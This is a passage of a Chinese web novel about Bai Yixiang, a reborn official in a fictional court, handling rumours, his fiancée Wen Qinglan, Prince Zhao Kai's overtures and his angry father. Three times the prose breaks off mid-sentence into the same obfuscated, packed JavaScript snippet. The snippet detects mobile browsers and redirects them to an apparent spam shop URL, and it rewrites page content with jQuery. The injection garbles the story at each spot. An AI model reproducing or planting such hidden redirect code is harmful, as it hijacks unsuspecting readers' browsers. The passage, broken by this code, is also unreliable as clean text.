赵钰踱到窗前,语气变得严肃起来,“一个意气风发,头脑清醒的白逸襄,本宫用起来,需时时提防。如今他大病缠身,私下又乖张跋扈,说明他并非完人,非完人就必有弱点,这样反而更好掌控。他疯也好,病也罢,不足虑也,只要颍川白氏仍是站在东宫身后,那便是谁也无法撼动本宫的太子之位。” “殿下英明,臣……望尘莫及!”张茂连连拱手称赞。 “不过,此人仍需防备。”赵钰的语气又恢复了平和,“是真病还是假病,有待观察,不能松懈。老二老三那边,你也需时刻派人盯着,莫要让他们与白府有更深的交集。” “诺!”张茂道。 “从明日起,时常派人去白府送些药材补品,显得本宫宽厚仁德,既是安抚白家,也是做给天下人看。本宫需要他这柄利器,但也必须握紧刀柄。” “诺!殿下英明!”张茂高声应诺。 赵钰摆了摆手,转过身去,不再看张茂,张茂躬身退出了书房。 * 接下来的几日,白逸襄除了在书房“谋划霸业”,便是在努力的修养身体。每日里汤药不断,饮食清淡,让他那亏空得厉害的身子,渐渐恢复了些元气。 白逸襄“安分守己”的养病,可京城里关于他的流言,却丝毫没有平息的迹象。 好在,如他所料,坊间传闻,大多集中在他这位“白洗马”如何“因妒生恨”、“冲冠一怒为玉郎”上,虽说有辱儒林世家的礼训,却因此时“三玄”之风盛行,贵族们奢靡玩乐,其中不乏好男-色的名流。白逸襄的行径,也算得上是一件风月韵事,无伤大雅。 至于秦王赵玄,则被塑造成了一个无辜受牵连的风雅皇子,非但没有损及其清誉,反而因其“不与疯癫东宫洗马计较”的气度,博得了不少文人士子的好感。 白逸襄对此乐见其成。 倒是管家白福,气得每日在府里跳脚,嘴里不住地念叨:“岂有此理!岂有此理!这群刁民!竟敢如此污蔑我家郎君的清誉!等老爷回来,定要将他们全都抓进大牢! 一日正午,白逸襄披着一件墨灰大氅,摇着素面斑竹扇,在石头的陪同下,来到后花园散步。 走累了,他便在一处石椅落座。秋日的阳光暖洋洋的,照在身上说不出的舒服。院子里的桂花已经开了,金黄细碎的花瓣藏在绿叶之间,散发着甜丝丝的香气。 他正闭着眼享受这难得的安宁,一个不合时宜的声音闯了进来。 “堂兄真是雅兴,出了这等大事,竟还有心情在此喝茶赏花。” 白逸襄不为所动,连眼皮都没抬一下。 白岳枫见他不理人,心中有些不忿,继续道:“堂兄,这几日京城的传闻,你都听说了吧?什么‘知音’,什么‘断袖’,啧啧,说得可真是……精彩纷呈啊!你难道真是‘那个’……‘兔爷’?” 石头听了,气得额头青筋暴起,捏着拳头就要上前。 白逸襄却抬扇拦住了他。 他缓缓睁开眼,凤眼里依旧是淡淡的,没什么情绪。他看着白岳枫,平静地道:“叔父的祭日快到了。” 白岳枫愣了一下,接着皱眉道:“那又怎么样。” “这事由你来操办吧,需要多少钱,你自去账房领。” 白岳枫本不太情愿的样子,但听到最后一句,神态有所缓和。 白逸襄心中无奈的想,这个堂弟幼年时虽没什么天赋,但也是规矩本分,行为得体的孩子。可后来,叔父因贪腐案牵连全家发配到边疆,叔父和叔母在苦寒之地日子过得惨淡,早早离世,仆人带着白岳枫回到白府,他因为在边城染上了一些陋习,又因为那时,自己与父亲忙于政事没顾得上管教于他,这才使得他越长越歪,以至于后来做了那么多无心无德之事。 说到底,他和父亲身为长辈,多少有点责任。 尽管白岳枫是他棋盘上的一子,若是对方能看破玄机,走上正道,其实也是他所乐见的。 白逸襄欲再嘱咐他两句,却见白福匆匆走了进来。 “郎君,温秘书监携女公子前来探望,已在前厅等候了。” 温家? 白逸襄眉头几不可见地挑了一下。 白岳枫忙问:“温晴岚也来了?” 白福称是。 白岳枫道:“那快过去看看!” 白逸襄却嘱咐道:“今日温世伯携家眷来访,父亲不在,我身为长兄,理应出面接待。你我兄弟二人,莫要在客人面前失了礼数。” “知道了,知道了!”白岳枫不待白逸襄念完,早已快步走远。 …… 白府的前厅里已坐了两人。 为首的是一位年近五旬的清瘦老者,一身素色儒衫,坐得笔直,正是“秘书监”温明。 他身旁,坐着一位与白岳枫年纪相仿的少女。那少女着一身杏色襦裙,梳着双环髻,眉眼清秀,气质端庄,只是此刻低垂着眼眸,不知在想些什么。 她便是温明的独女,温晴岚。 白逸襄一踏入前厅,刚好与抬眸的温晴岚对视。 白逸襄身体不由的打了个冷颤,忙别开了视线。 温明对白逸襄拱了拱手:“贤侄,听闻你大病初愈,老夫特来探望,冒昧打扰了。” 他的语气虽然客气,眼神却带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766966|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着几分审视。显然,京城里的流言,他也听说了。 白逸襄连忙上前,深深作揖:“温世伯言重了,您能前来,是逸襄的荣幸。只是家父远行,未能亲迎,还望伯父海涵。” 他的礼数周全,姿态谦和,丝毫看不出半分传言中的“疯癫”之态。 温明的脸色,这才缓和了几分。 双方落座,寒暄了几句,下人奉上茶来。 一旁的白岳枫,似是逮着了兴风作浪的机会,就见他端起茶碗,状似无意地笑道:“堂兄真是吉人天相,前几日还病得人事不省,今日便能与温太史谈笑风生了。说起来,晴岚妹妹,与我堂兄可是青梅竹马,如今也到了适婚的年纪,不知……” 他话未说完,温明的脸色,却已经沉了下来。 白逸襄脸颊抽动。 如今他白逸襄深陷“男-色”流言,名声狼藉,竟还提什么“青梅竹马”,分明是在有意羞辱自己。 白逸襄干笑两声,转而瞪了白岳枫一眼,“岳枫,休得胡言。” 白岳枫感受到温明的怒视,身形稍微矮下去半分,但见温晴岚突然很感兴趣似的抬起头来看向他,他便来了劲头,继续道:“呵,你这般作风之人,也有资格训斥我?” 白逸襄道:“我是何作风?” “你别装糊涂,京城里都传遍了!”白岳枫理直气壮,势要当众揭短。 这番落井下石,让温明都有些尴尬,不由得清了清嗓子。 “传遍了?”白逸襄淡定自若的拿起茶壶,给温明倒茶,像是聊家常一般,问道:“温世伯,您是秘书监,掌国之史书。逸襄斗胆请教,这史书之上,可有因‘流言’而定人罪责的先例?” 温明愣了一下,随即抚须摇头道:“自是没有。史者,当重实据,去伪存真,岂能以市井流言为准。” “逸襄受教了。”白逸襄点了点头,随即又看向白岳枫,眼神依旧平静,“堂弟,你听见了?” 白岳枫眉头微皱,自觉面子无光,正要反唇相讥,却听白逸襄话锋一落,悠悠地叹了口气。 “不过,此事说到底,还是因我而起。是我德行有亏,才让太子殿下,为我蒙受了这不白之冤啊。” 这事,怎么又跟太子殿下扯上关系了? 白岳枫忙道:“堂兄,你……你这话是什么意思?” 白逸襄没有理他,只是对着温明,露出一副愧疚难当的神情,苦笑道:“温伯父有所不知。那日,臣因忧心太子殿下安危,高烧之下,神志不清,误闯了清音阁,冲撞了二殿下。此事本是臣一人的过错,却不想,竟被那起子小人,编排成了……编排成了太子殿下指使臣,去构陷二殿下……” 他说着,还煞有介事地一拳捶在自己胸口,痛心疾首地道:“我白逸襄一人声名受损事小,连累太子殿下,被天下人误解为毫无容人之量、手段卑劣之徒,我……我真是百死莫赎啊!” 白岳枫没想到,白逸襄竟能将此事,上升到“太子清誉”的高度! 他要是再揪着“清音阁”之事不放,那不就是与那些“污蔑太子”的小人同流合污了? 这顶大帽子扣下来,他可戴不起! 白岳枫只觉得嘴里发苦,如坐针毡。 前厅之内,一时寂静无声。 温明捻着胡须,看着眼前这个面色惨白、神情激愤的青年,眼神变幻不定。 白逸襄这番话,听着是情真意切,可与太子有关的内朝之事,就这样随便讲出,并不像白逸襄的作风。 不过,他确实在内朝听到了一些风言风语。 温明缓缓放下茶盏,意味深长地看了白逸襄一眼,道:“贤侄忠君之心,可昭日月。只是,朝堂之事,诡谲难测,还需……多加保重身体才是。” 这话,既是安抚,也是警告。 这位老史官,应是已经看出了些许端倪。 不过,他要的,就是这个效果。 他要让所有人都知道,他白逸襄,是因为“忠心太子”,才惹上了这场风波。 至于真相究竟如何…… 谁又在乎? 8. 第 8 章 温家人回偏院休息了,白岳枫自知没趣,也寻了个由头,灰溜溜地走了。 前厅里,总算恢复了清净。 白逸襄长长地舒了一口气,感觉像打完了一场硬仗。 他揉了揉发胀的太阳穴,对石头道:“扶我回房歇……不,去后花园走走吧。” “郎君,您身子才刚好……”白福在一旁不放心地劝道。 “无妨,就在园子里坐坐,不走远。”白逸襄摆了摆手。 在屋里闷了几天,他的骨头都快生了锈,应当出去透透气,慢慢恢复一下筋骨。 这一遭,他可不想死的太早。 下午日照的久了,更觉温暖。 白逸襄在石头的搀扶下,转了几圈,顿感疲累。 后花园里那棵老桂花树下,已摆好了软榻和茶几,白逸襄落座休息。 石头像尊铁塔,杵在一旁,随时准备着添茶倒水。 白逸襄赏着桂花,喝着清茶,思绪不由自主地落在了那个女人身上。 温晴岚…… 一想到这个名字,白逸襄便觉得后背发凉。 也不知为何,他天不怕地不怕,两世为人,算计过皇子,扳倒过权臣,唯独对这位名义上的“未婚妻”,心里总是有些发怵。 他与温晴岚青梅竹马,自小便订有婚约。前世,他身子稍有好转之后,便在家主的安排下,成了亲。 从各方面来看,温晴岚都是一位无可挑剔的妻子。她出身世代史官的书香门第,知书达理,温婉贤淑,将偌大的白府后宅打理得井井有条,从未让他操过半分心。她品貌端庄,举止得体,在上流社会的贵女圈中,风评亦是极佳。 可问题就出在……她太有“史官”的风骨了。 一个字,较真。 两个字,太较真。 凡事都喜欢刨根问底,还随身带着个本子,美其名曰“记录生活点滴,以备日后修撰家史之用”。 白逸襄至今还记得,他二十二岁那年,为了在朝堂上扳倒一个政敌,在家中书房闭门苦思了三天三夜。 温晴岚便也在书房外间,陪着他守了三天三夜。不吵不闹,只是安安静静地,一边为他研墨,一边在她的本上“刷刷”地写着什么。 他当时出于好奇,趁着喝茶的间隙,凑过去看了一眼。 只见那上面,用一手娟秀的小楷,工工整整地写着: “夫君为国事操劳,三日未眠。期间,皱眉一百零八次,叹气三十六声,无意识地用指节敲击桌面三百二十四下。所用计谋,乃连环计,环环相扣,其阴损程度……待考证。” …… 待考证? 我呕心沥血的妙计,到你这就剩下个‘阴损’二字了? 自那以后,他总感觉自己的一举一动,都被一双无形的眼睛全天监控着,随时准备被记录在案,供后人“瞻仰”。 他短暂的人生,即便在内宅也如履薄冰,片刻不敢怠慢。 他都怀疑,他英年早逝,是不是也有温晴岚一半功劳。 不过,好在,噩梦已逝,新生来临。 尝过婚姻之琐碎、压抑、无奈的他,此生已是打算不再娶妻生子,不但避免了心烦,还杜绝了生出将他名声搞臭的不肖子孙。 嘶……可是他与温晴岚已有婚约…… 婚约怕是没那么好退。 白家和温家是世交,父亲又是最重信诺之人。若是他无故退婚,不仅会开罪整个白家,更会在士林中落下一个“薄情寡信”的骂名。 况且,主动悔婚,于温晴岚不利,会损了她的名节…… 这该如何是好…… “郎君,温小姐来了。” 正想着,侍女卉迟的声音自身后传来。 白逸襄心里“咯噔”一下,差点从软榻上滑下去。 只见温晴岚正提着一个食盒,穿过月亮门,缓缓向他走来。 她换下了一身拘谨的襦裙,穿了一件方便行动的淡紫色垂胡袖直裾长裙,头发也只是简单地用一根碧玉簪挽起,显得利落清爽。 “你……你怎么来了?”白逸襄下意识地坐直了身子。 温晴岚将食盒放在石桌上,打开盖子,从里面端出一碗莲子羹。 “父亲与族中长辈们叙话,我看你方才在前厅没吃什么东西,便让厨房给你炖了碗羹汤。”她说着,将青瓷碗和汤匙推到他面前,语气平淡,举止自然。 白逸襄看着那碗清甜的莲子羹,又看了看她,一时间竟不知该说什么。 “多……多谢。” 他拿起汤匙,舀了一勺送进嘴里。温润香甜,入口即化,是他记忆中熟悉的味道。 “知渊哥哥,”温晴岚在他对面的石凳上坐下,一双清澈的眸子,不闪不躲地直视着他,“外面传言,玉芙蓉是因你自缢而亡的。是真的吗?。” “咳咳!” 白逸襄差点被一口莲子羹呛到,他就知道,这丫头没那么好对付。 他放下碗,拿起帕子擦了擦嘴,无奈道:“晴岚,此事……牵连甚广,你又何必追问到底?” 温晴岚答:“因为我是史官之女。父亲教我,史者,当求一个‘真’字。玉芙蓉之死,坊间传闻,皆是指向于你。若我不问清楚,日后史书之上,该如何落笔?” 又来了又来了,三句不离你的史书…… 白逸襄露出一副苦笑,道:“晴岚,你信不过我?” “我信。”温晴岚答的爽快。 白逸襄惊讶的看着她,她却摇头道:“我相信知渊哥哥,绝非那等因妒生恨、滥杀无辜之人。但我信,没有用。史书需要的是证据。” “你方才在前厅所言,将一切都推到太子殿下身上。看似是解了围,实则是将自己置于了更危险的境地。你当真以为,太子殿下会领你这份‘忠心’的情吗?他只会觉得,你是在借他的名头,来掩盖自己的所作所为。你这样做,既得罪了二皇子,又会让太子对你心生嫌隙,两面不讨好,实非明智之举。” 她的一番话,分析得是条理清晰,鞭辟入里。 白逸襄对她多了几分欣赏。 前世,他只将温晴岚当做一个合格的、无需费心的主母。却从未想过,她这史官世家耳濡目染之下,竟也有如此敏锐的政治嗅觉和清醒的头脑。 或许…… “晴岚,”他沉默了片刻,“你说的对,我没有证据。” 他目光灼灼地看着她:“我可以告诉你真相。玉芙蓉之死,确实是太子亲信所为,为的是杀人灭口。而他们要构陷二皇子的那杯茶里,下的是能令人心智迷失的毒药。” 他将合欢说成更凶险的“毒药”,一来,是为了让此事显得更加严重,彻底断了赵玄好男-色的根源。二来,也是对温晴岚的一次试探。 果然,温晴岚在听到“毒药”二字时,脸色骤变,握着茶杯的手,也不由得紧了几分。 “此事……当真?” “我以白家门楣起誓。”白逸襄斩钉截铁,毫不羞愧。 温晴岚看着他眼中那不容置喙的真诚,心中已然信了七八分。她沉默良久,才缓缓道:“你告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766967|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我这些,是想让我做什么?” “我不需要你做什么。”白逸襄摇了摇头,“我只是想让你,知道‘真相’而已。至于日后史书如何写,全凭你自己的判断。” 他顿了顿,话锋一转:“不过,我眼下,倒真有一件事,想请你帮忙。” “何事?” “温世伯乃秘书监,必能接触到各地的邸报和表奏吧?”白逸襄的声音压得极低,“我听闻,黄河沿岸,今秋大旱,已有数万灾民流离失所。而朝廷的邸报之上,却仍是一片歌舞升平,安定繁荣。我需要知道……那里的真实情况。” 温晴岚的脸色,瞬间变得严肃起来。 她眯眼看着白逸襄,白逸襄面色如常,淡定自若,毫无破绽。 以她对白逸襄的了解,他是个藏不住心事,扯谎便会紧张局促的人,现下看,应当真的是内心清明,坦荡纯粹。 许久后,温晴岚点点头。 她郑重地道:“好,三日之内,我会将所有关于黄河灾情的表奏誊抄一份,送到你府上。” 白逸襄提起的心终于放下,拱手道:“多谢晴岚妹妹。” * 自打那日太子舍人张茂和三皇子联袂“探病”之后,东宫那边便再没了动静。太子赵钰既没有派人来申斥他,也没有再像往常一样,事无巨巨细地召他去商议。他就这么被不高不低地晾着,成了一个名副其实的“病号”。 对此,白逸襄安之若素。他乐得清闲,每日除了喝药、静养,便是待在书房里,慢悠悠地整理着他那些宝贝藏书。 而秦王那边,也同样没了声息。那碗被白福喝掉的百年参汤,仿佛只是一个无足轻重的小插曲,扔进京城这潭深水里,连个泡都没冒。 一切,都静得有些诡异。 白逸襄知道,这是暴风雨前的宁静。太子在等一个发作的由头,秦王赵玄,则在等一个真正接触他的时机。 而他,只需要耐心地等着便好。 这日午膳后,白逸襄在书房研究一幅前朝的黄河舆图。图上水系交错,标注繁杂,他看得极为入神,连侍女卉迟什么时候给他新换了热茶,都未曾察觉。 “郎君,三殿下来了。” 家仆通传的声音在门外响起,白逸襄才从舆图中抬起头来。 赵楷?他又来做什么? 被打扰了研究的白逸襄本能的皱眉,随即又舒展开来。 他放下手中的舆图,连忙出门迎接。 不多时,一阵带着几分轻佻的笑声传来,赵楷竟以言语调戏为他引路的侍女玉瑶,逗得玉瑶羞涩低头,含笑不语。赵楷依旧是那副招摇的纨绔打扮,一身天蓝色锦袍满是银线刺绣,腰间环佩叮当,玉銙成排,手里摇着一把洒金麈尾扇,随人而来的,还有一股浓郁的熏香之气,定睛一瞧,竟是赵楷的侍从手里托着一尊香炉,杳杳青烟,随风荡来。 “知渊兄,别来无恙啊?”赵楷一见白逸襄,便立即熟络地打着招呼,仿佛他们是相交多年的老友一般。 白逸襄在门口恭敬施礼,“见过韩王殿下。” “哎,你我之间,何须多礼。”赵楷快速从白逸襄身边走过,踏入书房,他挥动手中麈尾扇,步履轻盈的在书房里转了一圈,最后落在白逸襄身上,打量起来。 打量的时间不久,刚好在白逸襄感觉失礼之前,赵楷笑道:“瞧知渊兄这气色,比前几日可是好上太多了。看来我二哥那碗参汤,还是有用的。” 嗯……那碗汤进了福伯的肚子,他这几日倒是中气十足,骂起人来都比往日响亮了些。 9. 第 9 章 白逸襄不动声色地引着赵楷在茶榻边坐下,亲自为他斟了一杯茶,淡淡地道:“在下身体确实大好了,劳烦韩王殿下代我谢过秦王殿下。日后身体痊愈,逸襄自会登门道谢。殿下今日屈尊前来,不知有何要事?” “唉~你说话别总是这么咬文嚼字的,听了很是生分,也不要什么韩王秦王的,太麻烦,咱们私下就直接叫表字即可。我二哥表字皓贞,我字景贤,你以后就这样叫来,我听着舒服些。” “韩王与秦王殿下乃皇亲贵胄,在下岂敢?” “无妨无妨,不过我也不强迫知渊兄,你随意就好。” “逸襄恭敬不如从命。” 赵楷接过白逸襄递来的茶盏,却没有立刻喝。他把玩着手中温润的青瓷茶杯,脸色逐渐变得郑重。 “说起来,我今日前来,却有一事。” “殿下请讲。” 赵楷屏退了下人,白逸襄也示意两位贴身侍女下去,门口的石头却一动不动,赵楷笑道:“石头兄弟,劳烦在外面守着,我与你家郎君,有几句体己话说。” 石头看了白逸襄一眼,见他微微颔首,这才闷声不响地退了出去,顺手把书房门也给带了上。 赵楷的视线跟随着石头,像是看着什么了不得的稀罕物。 直到房门关闭,他的视线仍然停留在门上。 他刚从二哥的亲卫那里听说石头在清音阁的战绩,只恨自己当时没在现场。 竟然从门口一路打到二哥的雅间之内,还撞翻了门板。 有趣,白府的人,各个都很有趣。 白逸襄观察着赵楷的一举一动,虽然知道他是赵玄党的一员,也知道这人一向行事放荡不羁,难以捉摸,甚至通过对方后来的人生轨迹,对此人也多少有些了解,但面对他时,自己仍然很难捕捉到他的思路。 此人极其不正经。 自己跟他完全不是一路人。 赵楷没有晃神太久,转头看向白逸襄,见他正盯着自己看,他便露出一口白牙,笑道:“知渊兄,小王今日前来是代我二哥,正式为清音阁之事,向先生道谢。” 赵楷说着,竟站起身,对着白逸襄,郑重地长揖及地。 白逸襄连忙起身避开,探手虚扶了一下:“殿下这是何意?折煞我也。” “先生受得起。”赵楷直起身,神情严肃,“二哥与我手足情深,生死相随。那日若非先生挺身而出,后果不堪设想。此非冲撞无礼,实乃救命之恩,您不但是二皇兄的恩人,也是小王的恩人。” 说罢,他从袖中取出一个长条形的紫檀木盒,双手奉上:“此物乃前朝异人所制‘续命针’,以金针刺穴,辅以汤药,或对先生的病体有益。小小敬意,不成大礼,还望先生务必收下。” 白逸襄看着那个木盒,没有立刻去接。 “秦王殿下心意,逸襄心领了。那日之事,是在下分内之事罢了,如此重礼,实难担当。” “先生这就见外了。”赵楷笑道,不由分说地将木盒塞到了他手里,“你救二哥一命,二哥还你一命,这叫礼尚往来,天经地义。” “话已至此,那在下便不再推辞了,谢秦王殿下,韩王殿下。”白逸襄拱手施礼,恭敬的收了木盒,放于案上。 赵楷见他收下,脸上的笑容又恢复了那副玩世不恭的模样。他重新坐下,端起茶盏,像是闲聊一般,他并未提起那日白逸襄为什么跑到清音阁打翻了玉芙蓉给的茶,似乎他并不在意原因。 但白逸襄知道,他们很在乎这个“原因”,自己为什么突然出现在那里,又是怎么知道太子诡计的,又为何要帮赵玄? 这一系列的问题,所有人都想知道原因,尤其是当事者赵玄。 但赵玄知道,如此机要之事,问了他也不会说,他会以之前编好的梦游理由搪塞,这个理由已经由多个人取证并证实,相当稳妥。他们再问也问不出什么,只能继续试探,考验。 赵玄没有自己亲自上门,而是派游手好闲的纨绔王爷来他府上拜会,既避免了结党营私的口实,又体现了他对自己的重视。 此番安排,不可不说,缜密睿智。 而赵楷登门,当然也不会只是与他闲聊示好那么简单,在与他品评了一番前朝书圣的《晴雪贴》后,赵楷话锋一转,道:“说起来,京城里最近倒是风平浪静,就是不知为何,我那四弟赵辰,最近情绪颇为昂扬,意气风发。” 白逸襄眼睫微动,并未接话。 赵楷继续道:“他也不知从哪儿弄来了一批西域宝马,神骏威武,天天拉到城西大营里去操练。那马蹄声,隔着三里地都能听见,震得人脑仁疼。就是苦了兵部的兄弟们,整日都要为马匹的粮草之事奔波,一个个愁眉苦脸,面色发青。” 赵楷语气随意,看似是在抱怨四皇子行事张扬,却不动声色地向自己透露了两个关键信息: 其一,四皇子赵辰正在扩充军备,野心勃勃。 其二,五兵尚书乃四皇子的亲信,这才能让赵辰随意操练,对太子、其他几位皇子都是很大的威胁。 白逸襄心中了然,他端起茶杯,用杯盖轻轻撇去浮沫,顺着他的话头,道:“晋王殿下素来骁勇,为国练兵,也是应有之义。兵部为国之要冲,为其筹措粮草,亦是分内之事,想来陛下是能理解的。” “滑头”,赵楷心想,跟聪明人说话,省心,也费心。 他哈哈一笑,将此事揭过,又聊了些京城里最新的戏文和风月趣事。两人你来我往,言语间看似轻松写意,实则机锋暗藏,互相试探。 直到一壶茶见了底,赵楷才站起身来,准备告辞。 临走到门口时,他又像是忽然想起了什么,回头笑道:“对了,二哥还托我给先生带句话。” 他摇着扇子,慢悠悠地道:“二哥说,先生若是觉得这府中烦闷,可去城西的‘竹林馆’坐坐。那里清静,茶好,翠竹石林,溪水潺潺,颇有几分野趣。馆主是在下的一个旧识,先生若是有兴致,持我的名帖便可随意出入。” 说完,他从袖中取出一张制作精美的鎏金名帖,放在了门口的案几上,这才真的转身离去。 白逸襄看着那张名帖,久久未动。 从一碗参汤的初步示好,到续命金针的恩情锁定,再到情报共享的默契试探,最后,是这张名帖,一个可供二人秘密会面的渠道,一条为他准备好的“退路”。 不急不燥,层层递进。 真是心细如发,滴水不漏。 也不知是赵玄安排好的,还是赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766968|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楷的自由发挥,不管是哪种,赵玄党的表现,都不由得让他刮目相看。 若是前世,赵玄不死,即便有自己辅佐,恐怕赵钰也无登基的可能…… 想到这里,白逸襄缓缓走到案几前,拿起那张尚有余温的名帖。 同时,书房的门,也突然被人从外面粗暴的推开。 “砰!” 巨响吓得白逸襄手一抖,名帖掉到桌上。 循声望去,只见管家白福满脸惊慌地站在门口,一位面色冷峻、不怒自威的中年文士,迈步走了进来。 那文士身着一身藏青色的直裰,头戴同色纶巾,面容清癯,颌下留着三缕打理得一丝不苟的长髯。他虽未着官袍,但那股久居上位的威严,却比在朝堂之上时,更盛三分。 正是日夜兼程、从沧州赶回来的白逸襄之父,当朝太傅,白敬德。 “父、父亲……”白逸襄心中一凛,连忙上前行礼。 白敬德却没有看他,只是冷冷地扫了一眼书房内的陈设,最后目光落在那张鎏金名帖上,眼神骤然一缩。 “白福。”他开口道:“把韩王殿下留下的‘东西’,收起来。” “是,老爷。”白福连忙上前,手脚麻利地将名帖和赵楷留下的那个装着“续命针”的木盒一并收走,然后带着石头,逃也似的退了出去。 诺大的书房里,只剩下父子二人,空气仿佛凝固。 白逸襄垂着头,心中已然明了。父亲这般阵仗,显然是已经听说了京城里的那些流言。 一场狂风暴雨,在所难免。 “逆子!” 他猛地一拍书案,震得上面的笔墨纸砚都跳了一下。 他指着白逸襄,气得浑身发抖:“你……你还有脸站在这里!看看你做的好事!我白家百年儒林清誉,颍川白氏的门楣,都快要被你这个孽子,给丢尽了!” “父亲息怒……” “息怒?”白敬德冷笑一声,绕过书案,走到他面前,死死地盯着他,“我问你,清音阁之事,可是真的?” “是。”白逸襄平静地回答。 “好!好一个‘是’!”白敬德怒极反笑,“与青官纠缠不清,冲撞皇子,当众失仪!桩桩件件,都足以让你身败名裂!我白敬德一生清白,竟毁于你这黄口小儿之手!” 他越说越气,竟真的扬起了手,似乎下一秒就要一巴掌扇下来。 就在此时,书房门外,恰到好处的响起一个幸灾乐祸的声音。 “大伯,您可千万息怒啊!为堂兄这等‘名士风流’之举气坏了身子,可不值当!” 只见白岳枫探头探脑地从门外走了进来,脸上挂着“关心”的笑容,眼底却全是看好戏的兴奋。 他显然是听到白敬德回来了,特意跑来填一把火。 白敬德看到他,脸色更是难看了几分,手也僵在了半空中。 白逸襄从头到尾,都只是垂着眼,静静地听着,没有反驳一句。直到白岳枫进来,他才缓缓抬起头,对着白敬德,深深一揖,道:“父亲教训的是。儿子行事孟浪,有辱门风,甘愿领罚。” 随即,他话锋一转,看向白岳枫,嘴角微勾。 “只是,儿子有一事不明,还请父亲,为我解惑。” 10. 第 10 章 白敬德冷哼一声,扬起的手终究还是收了回去,他将手负于身后,冷冷地道:“说!我倒要听听,你这逆子,还能耍出什么花样来!” 白岳枫见状,连忙上前一步,摆出一副看好戏的姿态,笑道:“是啊堂兄,有何不解之处,但说无妨。大伯在此,定能为你指点迷津。” 白逸襄缓缓站直了身子,虽然依旧病体虚弱,脊梁却挺得笔直,不减半分名士风度。 他没有立即为自己辩解,转而对白岳枫道:“岳枫,父亲方才从沧州赶回,一路车马劳顿,想必还未用过晚膳。我这里也无甚要紧事,不过是些朝堂上的困惑,想请父亲指点一二。你不如先去厨房,吩咐下人备些清淡的饭菜,再温一壶好酒,为你大伯接风洗尘。” 这话合乎情理,让人挑不出错处。 但白岳枫哪会被他哄骗。他正是来看热闹的,怎肯轻易离开? 他还想说些什么,却对上了白敬德投来的严厉目光。 “还不快去!”白敬德低声呵斥道。 “……是。”白岳枫心不甘情不愿地应了一声,这才一步三回头地退了出去。 直到他的脚步声彻底消失在院子里,白敬德才重新将目光投向自己的儿子,眼神里依旧带着未消的怒气,“现在可以说了?” 白逸襄没有立刻回答,而是关上房门,又缓步走到书案前,亲自提起茶壶,为父亲斟了一杯热茶,双手奉上。 “父亲一路辛苦,先润润喉。” 白敬德看着他苍白柴瘦的手腕,心中的怒火竟莫名地消减了几分,取而代之的,是一种复杂难言的心疼与审视。他接过茶盏,呷了一口,沉声道:“说吧。” 白逸襄恭敬道:“父亲,今秋的黄河,怕是要出大事了。” 白敬德眉头一皱:“何出此言?” “父亲请看。”白逸襄没有多做解释,而是从书案一摞书中,抽出了一卷舆图,正是那幅《前朝黄河水系图》。 他将舆图在宽大的书案上缓缓展开,与寻常舆图不同的是,这幅图上,被人用朱砂笔,密密麻麻地标注了许多记号和批注。 他还从舆图下,抽出了一叠奏表的抄本,整齐地码放在一旁。 “今岁开春以来,北方大旱,滴雨未下。黄河上游水位骤降,许多河段甚至已经见底。”白逸襄指着几份表奏抄本的标题,继续道,“这些,是近三月来,沿岸各州府上奏的邸报。上面只说了旱情,请求朝廷开仓放粮,安抚流民。” 白敬德点了点头,道:“此事我知晓。朝廷已下令赈灾。” “可安抚得了一时,安抚不了一世。”白逸襄的声音依旧平静,“大旱之后,必有大涝。这是天道循环,亘古不变的道理。父亲请看这里。” 白逸襄的手指点在了舆图上游的一片广阔区域,“此地地势低洼,水网密布,一旦秋汛来临,上游积攒了数月的雨水,会挟万钧之势奔腾而下。” “而下游。”他的手指顺着蜿蜒的河道一路向下,最终停在了一处被朱笔圈出的河段上,“此段河道,因连年失修,淤泥堆积,河床抬高,早已不堪重负。更致命的是这里……” 他指向旁边一条几乎被忽略的虚线,“前朝为了根治水患,曾在此处,修建过一条分洪渠,直通东海。可本朝建立之后,此渠便年久失修,早已被泥沙淤塞,形同虚设。” 他抬起眼,看着父亲已经变得无比凝重的脸,缓缓道:“奔涌的洪水无处宣泄,唯一的结局,便是决堤。届时,下游的青、徐、兖三州,百万良田,将尽数化为泽国,流离失所的灾民,恐不下数十万之众。” 书房内,一片死寂。 白敬德怔怔地看着那幅舆图,看着上面那触目惊心的朱砂标记,额头渗出了一层细密的冷汗。 他虽贵为太傅,却是荣誉虚衔,对而今的朝堂政务不甚了解,但为官多年,白逸襄所说之事,他自然明白其中利害。他死死盯着自己的儿子,声音沙哑地问:“此事……你可曾与太子殿下提及?” “提了。早在半月前,中秋宫宴的前五日,我便已将一份详述此事、并附上解决方案的表奏,亲手交给了殿下。” 